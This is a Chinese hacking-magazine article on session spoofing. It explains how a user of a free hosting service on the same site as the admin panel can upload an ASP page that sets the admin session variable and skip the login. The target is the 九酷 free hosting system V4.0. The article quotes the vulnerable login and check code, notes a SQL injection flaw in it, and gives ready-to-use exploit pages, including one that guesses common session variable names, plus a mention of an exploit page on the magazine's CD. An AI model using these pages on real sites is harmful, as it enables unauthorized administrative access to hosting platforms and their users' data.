看了第四期LM团伙写的《利用Session欺骗构造最隐蔽的WebShell》,虽然具体技术不是很明白,但是基本意思理解了。忽然有了自己的一点思想:现在的免费空间主目录和用户的目录都在同一个网站上,例如网站主目录是d:\wwwroot,而用户申请的免费空间的目录就是d:\wwwroot\用户名,例如d:\wwwroot\iceworld,主站的管理员登录是通过Session验证的,如果我们在自己的空间内构造一个同主站相同的Session变量以及Session的值,是不是就可以欺骗主站呢? 不知道大家理解了没。 假如adminlogin.asp是主站管理员登录页面,如果登录成功,就把Session("login")="yes",并转到adminmanage.asp进行管理。当然,adminmanage.asp有Session("login")的检测。现在我们在自己申请的空间目录iceworld中建立一个文件admin.asp,这个文件的作用是使Session("login")="yes",我们先访问自己的admin。asp,然后访问adminlogin.asp,应该不用再登录了,而是直接进入adminmanage.asp。事实是否可以呢?我们找个免费空间测试一下。 以九酷网络提供的免费空间管理系统(V 4.0免费版)为例子来说明吧,本地测试先。 我们先分析一下。主目录是d:\wwwroot\9coolhome,管理目录是d:\wwwroot\9coolhome\manage。默认用户目录是d:\wwwroot\9coolhome\用户名。 先看看管理员登录过程,登录文件是login.asp,关键代码如下: code=replace(trim(Request("code")),"'","") If code<>CStr(Session("CheckCode")) Then Response.Write("<script language=javascript>alert('请输入正确的验证码!');top.location.href='login.asp'</script>") Response.End end if '上面代码是对验证码进行检测 name=htmlencode2(request.form("name")) pwd=htmlencode2(md5(request.form("pwd"))) loginip=Request.ServerVariables("HTTP_X_FORWARDED_FOR") if loginip= "" then loginip=Request.ServerVariables("REMOTE_ADDR") sql="select * from manage_user where UserName='"&name&"' And PassWord='"&pwd&"'" rs.open sql,conn,1,3 If not rs.eof = True Then rs("logintime")=Now() rs("loginip")=loginip rs.update Session("name") = rs("username") Session("pwd") = rs("password") Session("time") = now() Response.Redirect("default.asp") '如果接受到的用户名和密码正确,更新最后登录时间和IP地址,并且赋值给3个Session变量,然后转到管理页面default.asp,不知道大家有没有注意到那个SQL语句也有问题啊! else set rs2=server.createobject("adodb.recordset") sql2="select * from log" rs2.open sql2,conn,1,3 rs2.AddNew rs2("type")="非法登录" rs2("username")=name rs2("password")=request.form("pwd") rs2("loginip")=loginip rs2("time")=now() rs2.update rs2.Close set rs2=nothing Response.write"<script>alert('对不起,管理员帐号或密码错误!');location.href='login.asp'</script>" end if '如果登录失败的话,填写错误登录日志 管理页面default.asp的第一行包含了一个文件,<!--#include file="admin.asp"-->,而这个admin.asp就是用户权限审核页面了,我们看看: <% if Session("name")="" then Response.write"<script>alert('对不起,您还没有登录,或登录超时,请重新登录!');top.location.href='login.asp'</script>" response.End end if %> 只要Session("name")不为空就认为登录成功啊,好办了!我们申请一个用户iceworld,上传一个文件index.asp到自己的目录中去,内容如下: <% Session("name")="yes" response.Redirect("../manage/default.asp") %> 访问看看,是不是直接进入了管理页面。
要进行这种Session欺骗,必须有三个前提: 1.进行欺骗的网页和被欺骗的网页必须位于同一个网站内,上期黑防上LM团伙和koshan已经说得很清楚了。 2.必须知道管理页面。 3.必须知道Session变量以及它的限制条件。 至于解决方法,第一个问题就不用说了吧,这篇文章就是在这个前提下进行的。第二个问题,相信大家以前SQL注入的时候早就遇到过,各显神通吧!对于第三个问题,首先看看主站是不是使用了别人写的程序,如果是的话,下载一个源程序进行查看,应该不会有很多人喜欢改源代码吧!如果是站长自己写的程序的话,我们就猜,跟猜后台一样: Session("name")="admin" Session("login")="admin" Session("AdminName")="admin" ...... 当然不要手工进行了,我们在admin.asp中写上: <% Session("name")="admin" Session("login")="admin" Session("AdminName")="admin" '加上其它你所知道的 %> 为了照顾不会写ASP的同仁们,所以我写了一个简单的利用页面(见光盘index.asp)。很容易理解的。如果你刚好申请的是九酷的免费空间,的填写就可以了。 最后说明两点: 第1:虽然本文标题说是突破免费空间,但是应用不仅仅是免费空间哦! 第2:看了第四期中彭硕大哥写的《打破SSS的技术封锁》,只有一个感觉——爽!没有什么高深的技术,因为我基本上都能理解,而这种思路是学不来的!感谢黑防为我们提供这样好的文章,期待更好的文章!
|